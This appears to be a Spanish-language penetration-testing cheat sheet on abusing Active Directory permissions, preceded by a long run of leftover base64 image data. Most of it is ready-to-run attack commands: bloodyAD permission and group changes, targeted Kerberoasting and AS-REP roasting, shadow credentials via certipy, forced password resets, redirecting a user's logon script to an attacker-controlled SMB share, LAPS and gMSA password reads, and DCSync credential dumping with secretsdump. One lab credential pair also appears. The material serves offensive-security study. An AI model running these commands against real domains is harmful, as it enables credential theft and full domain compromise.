v8HDxozz8Z05b8GSVWs3bNm+KxVX1CWxyqp1G/0DF3tPnu4xfEw3t772Ds71rZu/L698HUWP3gO3 bt+1ZfuuNh26dnPra3CdxvsWy/IIIIDAxxFIhwx34dLlRUuD5c21sXeQJMmxSw/Hzq4itch9PIuW Bl+4dFk+lyrSSfCqtXv3HXgSESEufZMzXNNWjmFXrspXMYvyf93754jvxotxZCLzyZ9rEIlqvR6n NnNugLzAkBFjdTqdeEqPnOHERXLbdv4UGRklrp5OIsPtP3h4zfo3Z35nzg04f+Hig4eP5PJv3Lx1 /sKb6+3EE4Gu37gp77u9g/PBw3/Jz/OOHzrVGu3Bw3/t/uVXucDmbTrG3Xnu9cDYVGc4OdtNnjbr fni4fNMT+VPSJcOZmFm9iIwcNvp7uVgmENAXiHv+mG3L1o5duvfs5zFs9LhJvrP8A5euWLVpy/Yk gtr7vpUunXZ16luLHjv97WcaAQQQyIAC6ZDhRnlN0Ol002b94ODk0vXbPn/uP3jxUpiJmdWSZSsN TkmIy/bbduom98OpNdqOXd0kSbpz9544zSdnOJN6DcWAAzMr2xeRkTb2Dg5OLk8iIuYGLKxlZrV3 3wH5FnGC1SDDiZtLRUVFTfWb07Gr23gf36dPnwUsDBIL62e4abN+kCRp286fxFsGGc5j+JjmbTq2 duwybebc2NhYMTju1VXPru4DJEnavuvtuIqNP259tSPyAn+fPiNubSXXuteEKeEPHorhqwlmOKfu PXU63fxFS9t06OrW1+P0mbNyr16yGW7JspXN23SUf8ToP/21TMyswq5eE7c1tndwlseXpDrD6XQ6 8XGOnV1/3LrjyZMI/vLJdc1EygU+wvPH0qXTLuV7xJIIIIDAxxFIhwyn1mg9ho0+cfLUi8jI++Hh W7fvamLXTq3R3rp9Z/psf4PdOHP23IIly/UznFqjvXgpTI47coZTa7R/7j8o7rXhO2Punbv3ftrz m1P3nteu37h56/Zs/0CDkuNnODF24dz5i5GRUVeuXpNTi5gv396sUbPW0dHRvQe+uWevQYYTjyKI ioo6f+GiPKZBDKqIjo72mjBF3oyRY71jY2NFeGrWuoN8azd5ATE6tVf/uJG2CWY4EQ1PnjoTFRV1 89bt4FVr5Vu06KcxsbrBuVSDByoIH4O1BgwdGRkZZWPvMOK78deu3xChOdUZTv7EiKdPDx05Kj+p Qt5fJhBIi8CHfv5Ygp128UfWp2UXWBcBBBD4oALpk+E+0Cb26D3wwqXL8U//faCPo1gEEMj4Ah/6 +WOr14XOW7Bk4lS/ISPGuvTq38qxs/5tJjO+D1uIAAJZRyBDZzi1Rhu4aOmrhze49OovTkHatmzf zql71qke9hQBBFIuYGZl26x1h07d3HoP9BzlNWGq35zAxcvWrA993+vq4i+/acv2oOAQv9nzxoyb 1GeQZ8eubjb2DnTapbxqWBIBBD6EQEbPcGqNdsDQkQcOHbl3Pzw8/MHfp88YjNz8ECiUiQACmUnA pF7DD/T8MTrtMtNxwr4goDgBBWQ4xZmywQggoAiBD/T8MTrtFFH7bCQCmUCADJfSRzdmgspmFxBA IIUCH+L5Ywl22sW/7XYKt5DFEEAAATIcGQ4BBBBIqUC6P39s05btS1esmjFn3nfjffoOGtapm5tt y/byzYf5E4UAAggkIUCGS+nv7iQQeQsBBBCob93crm2nzq7u/QaPGDNu0vTZ/q9ufr4+dHP8ERIp mbNmfWjAwqBJvjOGjhzr6j6gtWMXiyZ2dNpxmCGAgL4AGY4MhwACCHxAAVNtk/R6/hiddvp/vZhG AAEy3Af83c3hhQACCCQmkI7PH0uw065mXcvEPpr5CCCQOQTIcGQ4BBBAIGMJpMvzx37cumPZitUz 5waM9Z7cz2O4U/eeTVs5mmqbZI4/XewFAgioNVoyXMb63c1BiQACCCQmkC7PH1u7YdP8RUt9fGd6 jvLq0Xtgmw5dLW3s6bRLzJz5CGRkATIcGQ4BBBBQtkANUwtLG/tWjp27ufUdOHSU14QpM+cGBAWH hG7elpLxE1u376LTLiP/nWbbEEhMgAyn7N/didUr8xFAAAG1RpvG54/RacdRhEBGFiDDkeEQQACB LCeQlueP0WmXkf+os21ZSoAMl+V+d2ep45udRQCB9xJIy/PH1oVuDly8bPL0WcPGjPu2z6C2nbpZ 2rbkSrv38mdhBN5LgAxHhkMAAQQQSF4gdc8f27xt5/KQNbP8A70mTOk/ZISzi3uz1h1MLWze6w8V CyOAQIICZLjkf3MlCMdMBBBAAAG1RlvLzKph01ZtO3Xr0Xvg4BHfeftMmzNvwfKQNT9u3ZHEiAo6 7TLfwfNVLbNK1WpVqV67em3zzLd3GXOPyHBkOAQQQACBDyLwvs8fo9MuYwaFxLaqag1NmfKVCxct kTtPXmPjbCq9/7Jnz5E3X4FipT4rV/mraib1EiuB+WkUIMN9kN9caawVVkcAAQQyscD7Pn8swU67 WmZWmZgog+9aqTLlc+TMpZfZkpnMm7/AF1WqZ/CdUuLmkeHIcAgggAACGULgvZ4/tnnbzhWr1s2Z t2DcJN8BQ0d2dnVv3qajmZWtEv8SK2iby1b6X85cuZOJbIm8XaBQkSpf11HQzmb8TSXDZYjfXBn/ QGELEUAAgf9QIOXPH1sfunlhUPBUvzkjvhvv1tejnVP3hk1b0WmX9rqrVK1W3vwFE4lnKZ5tZFSs 5GdfmZilfXsogWdtEeAQQAABBBQsUNu8UeMWbds7u7r19Rg2+vuJU/38AxeHrFm/edtO/REVdNql MfFUrm6S/MlTI5Vx8WxG+YySDXQFChetVpuL5NLhe0c/XDogpvG7weoIIIAAAukrEHdaNgXPH0uw 086EK+007/xlLFuxqpGxcaLJLJsqd/sCRVaXLhlWqdTNyqVuVi5x4ouCM0plr5Yz0VVUqly583Be Ne3HPBnunSM17aCUgAACCCCQkQWSff7Ylu27Vq5ePzdg4Xgf30Geo7t+26dF2071rJpm5J36cNtW 8X81jIwS7VrLVjZ70R2fi+hm8G/JG5Xyf1dc9c5w1XdCXa7ceRiymsaKI8OR4RBAAAEEENAm+/yx DZu2LFoa7Dtj7six3r36D27v7NqoWevM3WlXtYYmW/Yc7yQvvRfGn2UvfuwLg+hm8LLgrFJ6axhO FihU5OtvGqQxx2Tl1clw/OZCAAEEEEAgUYGknz+WiTvtqtcxz503n2Hs0ntdZF1pg8SW4Mvc7Qvo rWQ4WeLTz7NyCEvjvpPhEv3eplGW1RFAAAEEMrdAXUubpq0cO3Z1cx8wdORY78nTZ81ftHT1utCt 23dlgk67Ep9+bhi49F7n1OZNMLHFn1n8UPkkzqiqVKoKVdWZ+zj5cHtHhiPDIYAAAgggkJ4CJok8 f2zTlu1KudKuag2NkVHi4xhUqoLTSsaPa4nNyfFNUreUy5u/4IdLOZm7ZDJcen5vM/exwt4hgAAC CKRRIMHnj61at3Hx0hXTZs4d5TXBvf8Qx86u1i3amtRrmMbPSsvqRYondR2bSqUq+lPZxBJb/Pl5 3QrrdeElMFmu8ldp2dosuy4ZjgyHAAIIIIDAfywQ//lj/oGLAxcv+2H+Im+faR7DRndz62vXzsm8 UbOPkFeqVK+dQM56d1aJE8mMZtBPcvlHFXt3bcNXufPkY3BDKmqWDPcff29TUWesggACCCCQRQTi P39s2qwffGfMnTx91ofrtCtdvpJhyIr3utjv5fRTWtLTefsUiVeA4Yz/1TTNInWajrtJhiPDIYAA AgggoDwB80bNWrTt5Ozi3s9j+CivCV7ek78b7zPKa0LaO+3yF0o+chVa9GnSuU3/3VxNkhrfKtJc 6fKV0jHcZJGiyHDK+95mkUOT3UQAAQQQSIVAnfrW8vPHPIaNHjh0VP8hI/p5DO/Vf7C40q62eaMk iq1Wu14SN/WVe89yty+gn9KSmC55oaJR3kTvEiwXmL9QkSS2ircSFCDDkeEQQAABBBDI/AL6zx/r 0XugS6/+3dz6dv22j7OLu72Dc33r5iIlVPyqppyrkprIaVT8QPkkopv8Vr5hyVwMJz7FOFu2BGMK M5MQIMNl/u9tEtXPWwgggAACCIjnj7V3dnVwcjFr0DCp6Kb3Xg7T3CWvvHlGqpzYDCaK7vhclTv5 TjhRavU69amL9xIgw5HhEEAAAQQQQOCNwKdlK+jltGQmczXJV+JcRYPcJr8s8mMZ45KJPzA1XtlV a2jeK8GwMBmO7y0CCCCAAAIIvBEoXqp0vHCV1Azjz7MX9CtV8uI7Sa74wfJ5XAurcqa0B058QMWv ahLL3kuADMf3FgEEEEAAAQTeCCT9iK1E01xuoxya3Lla5s/VJF+2KjkTXSzJN3jo1nsFOLVGS4bj e4sAAggggAACbwTe61xqkpHsvd/kXCoZju8hAggggAACCKRSoGzFqu8dvtJpBcY0kOFSedS+LxzL I4AAAgggkPkEKlRVpzCSGRUxzt2qQL7BRQtOK1lwdimDnwLjS+R1L5yjXh5V9hSVx71FUnEscS6V zIcAAggggAACbwSqmdRLNnNl/1/Owks+LXktmRuLiAGqJU5VyDe0qFF+46SLzVegUCpCTBZfhQzH 9xYBBBBAAAEE3grkzVcg0bxlpMo3uGjJ6ylKb/JNRkrdrFz86Bc56uROtFiV6pMy5bN4IEvF7pPh 3h61qeBjFQQQQAABBDKZwCdlyicctoxUhX74RD+Zvdd0ycsVc9kk+uDUKl/XyWSMH2F3yHBkOAQQ QAABBBB4K1C5mkmCGS7/yGLvFdriL1zyYsXs1XPFLzxHzlwfIfFkvo8gw709ajNf7bJHCCCAAAII pEIgX4FCBkkrR53c8TNZKuYU21NWFe/ZDZxITUUdcX84AhwCCCCAAAIIGArEH51aZEOZVCS2BFfJ 3aGgfkDMnj0HdxUhwxkegqkTYS0EEEAAAQQQyF+oiJy0spXPkWAaS93MIhvKyCWrVKrS5SuhnToB zqWS/BBAAAEEEEDAUKBy9bdXxeX9tnDq4lqCa5W8VsmoyJtbjeTOk/frbxqkLsGwFhnO8KjlmEAA AQQQQAABtUYrP3erwNSSCaaxVM/MUTvuPiPGxtkqfVUL6lQLkOHIcAgggAACCCCQsECJTz9XqVSF l32W6riW4Iq5WuQ3MjLmIfepTm9iRTJcwkdtGllZHQEEEEAAgcwhUKzkZ+nfD1cnd/nK1TKHz3+4 F2Q4MhwCCCCAAAIIJCXwWe1KhVd+VuKfCiXOV0zjT/FjXxT0LFm5usl/GH0yzUeT4ZI6ajNNNbMj CCCAAAIIpEWg4v9qZMuessfX6w86jTedN3+Br2qZpWVLWFcWIMOR4RBAAAEEEEAgeYGvatUtVvIz lZFRvGCWohnZs+coXb4So1DlBJb2CTJc8kdt2pUpAQEEEEAAgcwh8OXXdfIXLJyi1PbvQkZGRsU/ KVOtdr3MIZBx9oIMR4ZDAAEEEEAAgfcTqPJ1nVKly+XOm+gz7FUqlZGRUYFCRcqUr/yVCSdP3483 hTGRDPdBWFOoz2IIIIAAAggoWuBL9Tflq1T7vMKXn5WrVKpM+U8+/6J0+cplK/7viy+/rmZCx9uH zRhkuA/rq+hvJhuPAAIIIIAAAhlWgAxHhkMAAQQQQAABBJQnQIZTXp1l2AYBG4YAAggggAACH02A DEeGQwABBBBAAAEElCdAhlNenX20gM8HIYAAAggggECGFSDDkeEQQAABBBBAAAHlCZDhlFdnGbZB wIYhgAACCCCAwEcTIMOR4RBAAAEEEEgHgYlT/e7cuSv//XZwcvlz/8Fnz57fux++PGSNpkFj8Zbn KK+oqCh5MbVGW8vMSpKkAUNHqjVaz1FekiT16D1QfwH5XXlm9579ft3757374Y8fPzl95ux4H18T Myvx7q6f9kgJ/VenvrVao9U2ttuwacuDh4+ePIn4ac9vzVp3EGtZ2baSJOnYib/ljxATljb2L6Oj /zl3Xry8HHZFlK3T6S5dDhs3yVfM/2PfwVVrN8jrbtqyfe+f++WXy1asPnL0uPyyTYeukiT1HzJC zJk41S+h7ZXc+w9Ra7RWtq1+3LrjwcNHjx4/3vP7Hy3adhJrpYRRv9j74eFqjXb1ulAxMyYm5vqN m0HBIabaJvKGiQlB4eTSS3/+X8dOLF+5Rmy5frFiemFQsFhLvHz27PmxE393c+urX8KHmCbDpcP3 9kNUDGUigAACCChLQD/D2Ts4Rzx9umHTlu49+w3yHH3xUtiBQ0fE7qQkfFy4dLnWv5lMrdEaZLhp s344f+FiP4/hIn/YOziv3bDpl1/3mtRrqNZoGzVrbe/gbO/gHBQcEnb1mpi2d3BWa7S1zRudO3/x 6PGTfQZ5fttn0J7f9t67H25pYy+iksgfzdt01GefPG2WJEn6GS4oOMTewbltp24+vjNjYmJ69R+s 1mj9Axf/ffqMvOKt23eePXsu78KRo8eXLFspvxu4aGlMTMy2nT+JOeYNm4mNHDpyrCRJTi69xEtT bRNNg8ZhV6/9se9glx69O3Z127pj9917980bNRNhN+korNPp5H23d3AW+7V6XeiRo8ftHZxbtu/s MWz0q8y9PnSzvGFiIokMZ1KvoVymTqfz8Z0pXlo0sRNrDR051t7BuUPXb9eFbn4SESFsDcpPx5dk ODIcAggggAAC6SCgn+F2/bTnz/0H5b/WNvYOL6Oj+3kMT0n4iI6Ofvr02RS/2fLq+hmuzyDP0/+c q2fVVH5XTCxdsWqq3xz9mTPmzDt/8ZL+nIlT/R49flzX0kbMrFnX8nLYlaDgEDnDXbt+wz9wsf4q p07/c/Xadf0MN2POPHmBA4eOLF+5Rq3Rug8YqtPpRIhs3qZjZGTUnbv3nLr3VGu0NetaPn/+fJDn aHmta9dvBAWHPH/xwqAPzMmllyRJ2sZ28pLTZ/uHP3j4TYO4HkS1RmtiZnXr9p3ps/1TwmiQ8EQJ q9eF7t13QC5/6MixMTExtc0byXNkigT74fQXi4qK8hg+Rp5jkPxMzKx0Op3oW5WXSfcJMlw6fG/T vVYoEAEEEEBAcQJyhqtt3uhFZKT+H/hX3WO//7FPdPkk2w8XFRXlO2NuxNOnlrYtBYJ+hrty9Zpj Z1e1RtvErt3Bw3+Fhz/Yun1XXUsbUwubK1ev6aPFz3AHDh1ZuXq9/jLTZ/tfu35DDi4Lg4LFS7FM y/adY2JiFgYFJ5bh/tx/cO2GTWqN1rxRs9jY2I5d3dQa7fcTpx46cnTH7p/9ZselvTYdu0mS1KhZ a1GmU/eekZFRdS1tbt2+M2zMOP2NiZ/hjh4/Gbxqrf4yXhOmeHlPTq8M17J9Z0mS7P49Pys+yCCN iZniXKr+liSd4WrWtYyMjDLYQf3V02WaDEeGQwABBBBAIB0E5AzXtJWjJEltOnbT/zsdvGrt4b+O pTB8mJhZXbocFrp5myhBznBdevSWL1k7feasj+9MMyvbO3fviRTyy697Wzl2lj80foa7dfvOJN8Z 8gJqjXaQ5+iYmJiadS1FcHF2cY+KiurSo7dYJnDxsgOHjkzxmx0/w9Uwteg/ZMTLly/lS/fCrlz1 njxdrdFu3bF7zrwF3j7TxCVxY8ZNunX7jvyhy1as/uXXvWqNdvnKNXt+i5uQf+JnuDt37+n3R8pL ppBRf3kxbdAP595/SGxsbAPrFvpLpj3D1alvHbho6aPHjw1K1v+UdJkmw709etIFlEIQQAABBLKm gJzh2jl1lyTJukVbfQf/wMVnzp4T4UOSpKh3/5NTmtxL59bXIzY2VpzRk9+d7R8oznX26j/4/IWL ovyIp0/rWzdXa7RLlq3UP3kXP8M9eRIx4rvx+lvl0qu/JEn1rJqK4NLOqfvO3b+sXhcqlrlx89bo 7yfOmDNPP8O9jI6Oiop6GR0tSZL+xWSbtmzf+ONWtUZ77364s4u7XTsncUncqrUbtu/6WRRYw9Ti zt17o7wmqDXart/20el04uI28W78DPckIkL0uulvs5gWgz/eVYySoeK/69bXQ4xpkM+ltmjb6czZ c3t+/8OgcEGh0+n0C4+NjRVnjeWFE+yHE2vFxMRIkiR2U17+Q0yQ4chwCCCAAAIIpIOAnOGate4Q vx9u+co1cj+cweX2rR276IcP+UKuXT//eur0PzVMLeR3N2zaMnKst1qjDQoOEaMEaplZRUdHi3ww b8ES/ZN38TPc7Tt3DfrhBgwdGRsbK/fDderm1s9j+OPHT2qbN+res1/cJWsWNnMDFupnODGmoZVj 3JiAe/fDp836QXy6t8+08xcvtXLsHPH0ac26lq8ukrtz565T955/nz4j96W5ug94+fKlyG01TC3u 3ruvH9HiZ7jw8AeTp89KMP14jvJKmtHgXXHt3ep1oTExMVFRUTqdTpKkA4eO6F9+Jz5IZDgxOkEe wXD6zNmUZDixVttO3SZPmxUVFdXZ1T3BjU+vmWS4dPjepldlUA4CCCCAgIIETC1sGut1tk3ynXHz 1m0x/DMyMspj2Nur+NUa7Z7f/xDdVHJPm7ynBvcWkTOcjb3Di8jI7ydOlTPczt2/iFty/PLrXnFf D0vblg8ePhJFLV2xqt/gNzfsUGu08TPcwcN/rVi1Tv5ctUbrO2Pu9Rs35evhnFx6mZhZhT94OMhz 9LrQzZu37RRjTvUznP6Yhln+gfL1c+2dXWNiYqbP9henSl85/Lh1xyz/QJ1O5+zyJsqs3bBJvw8y JiZGHq6r1mjjZ7gTf59eHhI3ZkL+GTZmnMipKWeU1xX9cGJcqr2D88HDf4kd1F9An0J//vteD6fW aPcdOKTfT6lfWnpNk+HeHhnpZUo5CCCAAAJZQaDPIM/o6Gj5xm/LV66R74L2057f/tj3dlyqdfM2 L1++lO8AJ6c0oZRYhlNrtD/MX/TgWjVwywAACRhJREFU4SM5w23asn3Y6O/jEuFve8Wpug5dv716 7boo58ChI/p3Bomf4SZPm/Xw0SNTizfjUmuYWpy/cFF0L+lfBBa8au3efQeeRET07PfmviGJZbjZ /oFhV66KTxfjT89fuCh39Y0ZN+n8hYs6nU4M/DQxs3r46NFUvzly55bHsLir8axsW4kS4me4H+Yv unc/XAx3FTfSu37jpgiRqc5w8rnU9s6u0dHRnbrFjcPQ/9GnkOenIsPtP3h4zfo3Z6XlctJ3ggz3 Ts2lLy6lIYAAAghkYgHzhs0ePHy0acv29s6uw0Z//+zZc2+faWJ/Wzl2fvbs+Zr1oU4uvQZ5jr4c dkWcSH3fi/Hr1Le+fuOmnOHmzFswf9FStUa7MCh43esbm238cWvE06em2ibde/Y7dOSovnb8DFen vvWFS5ePHD3eo/dAcX+48AcPRYTSDy4du7pJknTn7r0aphbx++GWLFvZvE1Hu7adBo/47uGjRwuW LJc/9PBfxyRJatn+zbgKG3uHV+eUT5w8JRboM8gz7kRqw7i7u8k/t+/c9fGdKV7Gz3DmDZvdvHX7 l1/3duzq5tS955btu+7euy8GCiSb4XQ6XfM2HeUfcTdjgzENoZu3HT1+Uny6j+9MMQxFn0LezhRm OI/hY5q36djascu0mXNjY2PFbYrlQtJ9ggz39khKd1wKRAABBBDI3AKdurn9dezEs2fPb9y8NXNu gAg9Ypcdu/TYf/Dw8+fP74eHv7quX74rW7Lhw6CXbsDQkXKG6+zqfvbcBbVG27Bpq9NnzoZdueox bPTylWvu3Q8/cfKUfidcgudSX3XgWdrYb9qy/eGjR6/uQLvnt7127ZzE1hoEl4uXwhYvXSHe8g9c rN8PJ24FHBMTc+PmrcDFy/RvrrYwKPjO3Xv6NX7t+g35MrLN23a+usGK/rtqjXbZitXHT755OET8 DKfWaG1btv95z+/Pnz9/8PDRT3t+k+8Dkiyj2E75X3HVoEGGa9Ss9fMXL4aOHKvWaC9eCvOaMCWN 51LFx0VFRZ2/cJExDQQsBBBAAAEEEHgr8Kqva+zrG6QZhCFeZkEB+uHefjGyYPWzywgggAACyhJo 1rrD9Rs35wYsFM9xqm3e6EOfsFOWT5baWjIcGQ4BBBBAAAElCVjZtgoKDrly9drDR49u3rq9Zfsu eVxFlkow7CwZTknfW45XBBBAAAEEEEBACJDhyHAIIIAAAggggIDyBMhwyqsz2h8IIIAAAggggAAZ jgyHAAIIIIAAAggoT4AMp7w6o+WBAAIIIIAAAgiQ4chwCCCAAAIIIICA8gTIcMqrM1oeCCCAAAII IIAAGY4MhwACCCCAAAIIKE+ADKe8OqPlgQACCCCAAAIIkOHIcAgggAACCCCAgPIEyHDKqzNaHggg gAACCCCAABmODIcAAggggAACCChPgAynvDqj5YEAAggggAACCJDhyHAIIIAAAggggIDyBMhwyqsz Wh4IIIAAAggggAAZjgyHAAIIIIAAAggoT4AMp7w6o+WBAAIIIIAAAgiQ4chwCCCAAAIIIICA8gTI cMqrM1oeCCCAAAIIIIAAGY4MhwACCCCAAAIIKE+ADKe8OqPlgQACCCCAAAIIkOHIcAgggAACCCCA gPIEyHDKqzNaHggggAACCCCAABmODIcAAggggAACCChPgAynvDqj5YEAAggggAACCJDhyHAIIIAA AggggIDyBMhwyqszWh4IIIAAAggggAAZjgyHAAIIIIAAAggoT4AMp7w6o+WBAAIIIIAAAgiQ4chw CCCAAAIIIICA8gTIcMqrM1oeCCCAAAIIIIAAGY4MhwACCCCAAAIIKE+ADKe8OqPlgQACCCCAAAII kOHIcAgggAACCCCAgPIEyHDKqzNaHggggAACCCCAABmODIcAAggggAACCChPgAynvDqj5YEAAggg gAACCJDhyHAIIIAAAggggIDyBMhwyqszWh4IIIAAAggggAAZjgyHAAIIIIAAAggoT4AMp7w6o+WB AAIIIIAAAgiQ4chwCCCAAAIIIICA8gTIcMqrM1oeCCCAAAIIIIAAGY4MhwACCCCAAAIIKE+ADKe8 OqPlgQACCCCAAAIIkOHIcAgggAACCCCAgPIEyHDKqzNaHggggAACCCCAABmODIcAAggggAACCChP gAynvDqj5YEAAggggAACCJDhyHAIIIAAAggggIDyBMhwyqszWh4IIIAAAggggAAZjgyHAAIIIIAA AggoT4AMp7w6o+WBAAIIIIAAAgiQ4chwCCCAAAIIIICA8gTIcMqrM1oeCCCAAAIIIIAAGY4MhwAC CCCAAAIIKE+ADKe8OqPlgQACCCCAAAIIkOHIcAgggAACCCCAgPIEyHDKqzNaHggggAACCCCAABmO DIcAAggggAACCChPgAynvDqj5YEAAggggAACCJDhyHAIIIAAAggggIDyBMhwyqszWh4IIIAAAggg gAAZjgyHAAIIIIAAAggoT4AMp7w6o+WBAAIIIIAAAgiQ4chwCCCAAAIIIICA8gTIcMqrM1oeCCCA AAIIIIAAGY4MhwACCCCAAAIIKE+ADKe8OqPlgQACCCCAAAIIkOHIcAgggAACCCCAgPIEyHDKqzNa HggggAACCCCAABmODIcAAggggAACCChPgAynvDqj5YEAAggggAACCJDhyHAIIIAAAggggIDyBMhw yqszWh4IIIAAAggggAAZjgyHAAIIIIAAAggoT4AMp7w6o+WBAAIIIIAAAgiQ4chwCCCAAAIIIICA 8gTIcMqrM1oeCCCAAAIIIIAAGY4MhwACCCCAAAIIKE+ADKe8OqPlgQACCCCAAAIIkOHIcAgggAAC CCCAgPIEyHDKqzNaHggggAACCCCAABmODIcAAggggAACCChPgAynvDqj5YEAAggggAACCJDhyHAI IIAAAggggIDyBMhwyqszWh4IIIAAAggggAAZjgyHAAIIIIAAAggoT4AMp7w6o+WBAAIIIIAAAgiQ 4chwCCCAAAIIIICA8gTIcMqrM1oeCCCAAAIIIIAAGY4MhwACCCCAAAIIKE+ADKe8OqPlgQACCCCA AAIIkOHIcAgggAACCCCAgPIE/g9977avPViasAAAAABJRU5ErkJggg== ">

bash
bloodyAD --host $dc -d $domain -u $username -p $password set owner $ObjetoACambiarPropietario $NuevoPropietario
bash
bloodyAD --host $dc -d $domain -u $username -p $password add genericAll $DNdelObjetoSobreElQueQueremosTenerGenericAll $userAtacante

DCsync

  1. Simulación de replicación: Un atacante con los permisos adecuados en un controlador de dominio (usualmente, un Administrador de dominio o Administrador de Enterprise) puede usar herramientas como Mimikatz para simular el proceso de replicación de un controlador de dominio.

  2. Extracción de contraseñas: Al realizar una replicación del dominio, el atacante puede solicitar contraseñas de cuentas, hashes de contraseñas y otros atributos de las cuentas de usuario (como las contraseñas almacenadas en el atributo msDS-ReplicatorPasswords).

  3. Uso de herramientas: Mimikatz es una de las herramientas más utilizadas para ejecutar un ataque DCsync. Al emplear la funcionalidad de lsadump::dcsync en Mimikatz, el atacante puede recuperar las contraseñas de los usuarios de la base de datos de Active Directory, incluida la cuenta de Administrator o cuentas con privilegios elevados.

Generic All

  • Nos da control total sobre un usuario

  • Por tener GenericAll sobre un grupo no tenemos GenericAll sobre los integrantes

Para cambiar su contraseña:

bash
net user michael michael /domain

Kerberoast (PRIMERA FORMA)

powershell
Set-ADUser -Identity VICTIM -Add @{servicePrincipalName="foobar/xd"}

$SecPassword = ConvertTo-SecureString '
PASS FROM USER WITH GENERICWRITE' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\USER FROM USER WITH GENERICWRITE', $SecPassword)

Get-DomainSPNTicket -SPN "foobar/xd" -C
redential $Cred

AS-REPRoast (SEGUNDA FORMA)

bash
python3.12 -m venv bloodyenv
source bloodyenv/bin/activate

pip install bloodyAD


bloodyAD --host DC.DOMAIN -d "DOMAIN" --dc-ip IP -k add uac USERNAME -f DONT_REQ_PREAUTH #Habilitamos DONT REQ PREAUTH 
bloodyAD --host DC.DOMAIN -d "DOMAIN" --dc-ip IP -k remove uac SVC_ARK -f ACCOUNTDISABLE #Nos aseguramos de que no están inactivas

impacket-GetNPUsers DOMAIN/ -no-pass -usersfile validUsers.txt

Podemos añadir al usuario P.AGILA SERVICE ACCOUNTS

bash
python3.12 -m venv bloodyenv
source bloodyenv/bin/activate

pip install bloodyAD

bloodyAD --host IP -d DC.DOMAIN -u USER -p PASS  add groupMember 'SERVICE ACCOUNTS' USER

ForceChangePassword

Crackear hash

bash
git clone https://github.com/ShutdownRepo/targetedKerberoast.git

sudo ntpdate -u IP-DC
python3 targetedKerberoast.py -v -d $domain -u $user -p $pass --request-user michael -o michael.kerb

Cambias pass

bash
rpcclient -U USER IP
rpcclient -U 'DOMAIN\USER%HASH' --pw-nt-hash IP

setuserinfo2 USER 23 'PASS'

net rpc password "USER" -U "DOMAIN"/USER%PASS -S "IP"
bash
bloodyAD --host $dc -d $domain -u $username -p $password set password $target_username $new_password
bash
$newpass = ConvertTo-SecureString 'Password1234!' -AsPlainText -Force
Set-ADAccountPassword -Identity l.wilson_adm -NewPassword $newpass -Reset

net user l.wilson_adm 'Password1234!' /domain

WriteSPN

bash
git clone https://github.com/ShutdownRepo/targetedKerberoast.git

sudo ntpdate -u IP-DC
python3 targetedKerberoast.py -v -d $domain -u $user -p $pass --request-user michael -o michael.kerb

Con kerberos:

kinit user@domain
bash
python3 targetedKerberoast.py -v -d DOMAIN --dc-ip IP --dc-host DC.DOMAIN -u 'USER' --request-user VICTIM -o VICTIM.kerb -k --no-pass

GenericWrite

  • Vamos a hacerle targeted kerberoast:
powershell
Set-ADUser -Identity VICTIM -Add @{servicePrincipalName="foobar/xd"}

#O también

setspn -s foobar/xd SVC_DEPLOY

$SecPassword = ConvertTo-SecureString '
PASS FROM USER WITH GENERICWRITE' -AsPlainText -Force

$Cred = New-Object System.Management.Au
tomation.PSCredential('DOMAIN\USER FROM USER WITH GENERICWRITE', $SecPassword)

Get-DomainSPNTicket -SPN "foobar/xd" -Credential $Cred

O así

bash
git clone https://github.com/ShutdownRepo/targetedKerberoast.git

sudo ntpdate -u IP-DC

python3 targetedKerberoast.py -v -d $domain -u $user -p $pass --request-user michael -o michael.kerb

o así:

BASH
bloodyAD --dc-ip IP -d DOMAIN --host DC.DOMAIN -u 'USER' -p 'PASS' set object 'USER TO KERBEROAST' servicePrincipalName -v 'domain/meow' -k
  • Añadirnos a un grupo sobre el que tenemos Generic Write
bash
python3.12 -m venv bloodyenv
source bloodyenv/bin/activate

pip install bloodyAD

bloodyAD --host IP -d DC.DOMAIN -u USER -p PASS  add groupMember 'SERVICE ACCOUNTS' USER
bash
bloodyAD --dc-ip IP -d DOMAIN_REALM --host DC.DOMAIN -u 'USER' -p 'PASS' -k add groupMember 'GROUP' 'USER'
  • Credenciales en la sombra

Las credenciales en la sombra son una técnica de persistencia y escalada de privilegios en Active Directory que consiste en inyectar un certificado tuyo en una cuenta de AD (como winrm_svc), usando el atributo:

msDS-KeyCredentialLink

Una vez inyectado, puedes autenticarse como esa cuenta usando Kerberos/PKINIT, sin necesidad de su contraseña o hash.

bash
sudo ntpdate -u IP-DC

certipy shadow auto -u 'USER@DOMAIN' -p 'PASS' -account 'victim on which the user has Generic Write' -dc-ip DC IP

Con kerberos:

bash
sudo ntpdate -u IP-DC

bloodyAD --host DC.DOMAIN -d DOMAIN -u USER -k add shadowCredentials 'victim on which the user has Generic Write'

python3 PKINITtools/gettgtpkinit.py -cert-pem cert.pem -key-pem priv.pem domain/user user.ccache
  • Cambiar el login Path
powershell
([adsisearcher]"(sAMAccountName=svc_deploy)").FindOne().GetDirectoryEntry() | ForEach-Object { $_.scriptPath = "\\10.10.14.133\share\script.bat"; $_.SetInfo() }
  • BadSucessor

AddMember

Da opción de añadir miembros a un grupo como de quitar miembros.

bash
bloodyAD --dc-ip IP -d DOMAIN_REALM --host DC.DOMAIN -u 'USER' -p 'PASS' -k add groupMember 'GROUP' 'USER'
bash
bloodyAD --dc-ip IP -d DOMAIN_REALM --host DC.DOMAIN -u 'USER' -p 'PASS' -k remove groupMember 'GROUP' 'USER'

ReadGMSAPassword

ReadGMSAPassword es una función de Windows (más específicamente de Active Directory) que se refiere a la capacidad de leer la contraseña de una cuenta de servicio administrada de grupo, conocida como gMSA (Group Managed Service Account).


🔐 ¿Qué es una gMSA?

Una gMSA (Group Managed Service Account) es un tipo especial de cuenta en Active Directory que:

  • Es administrada automáticamente por el dominio (incluye rotación automática de contraseñas).

  • Está diseñada para servicios o aplicaciones que corren en múltiples servidores.

  • Su contraseña es conocida solo por el sistema, y normalmente no accesible para los humanos.


📥 ¿Qué hace ReadGMSAPassword?

La permisión ReadGMSAPassword determina qué equipos o usuarios tienen permitido leer (recuperar) la contraseña cifrada de una cuenta gMSA desde el Controlador de Dominio (DC).

Un equipo o servicio que tiene esta capacidad puede:

  • Solicitar la contraseña de la gMSA al DC.

  • Utilizar esa contraseña para autenticarse como la gMSA.

bash
bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username --attr msDS-ManagedPassword

ReadLAPSPassword

bash
nxc ldap 192.168.247.122 -u 'fmcsorley' -p 'CrabSharkJellyfish192' -d 'hutch.offsec' -M laps

DCSync

powershell
impacket-secretsdump DOMAIN/USER:PASS@IP

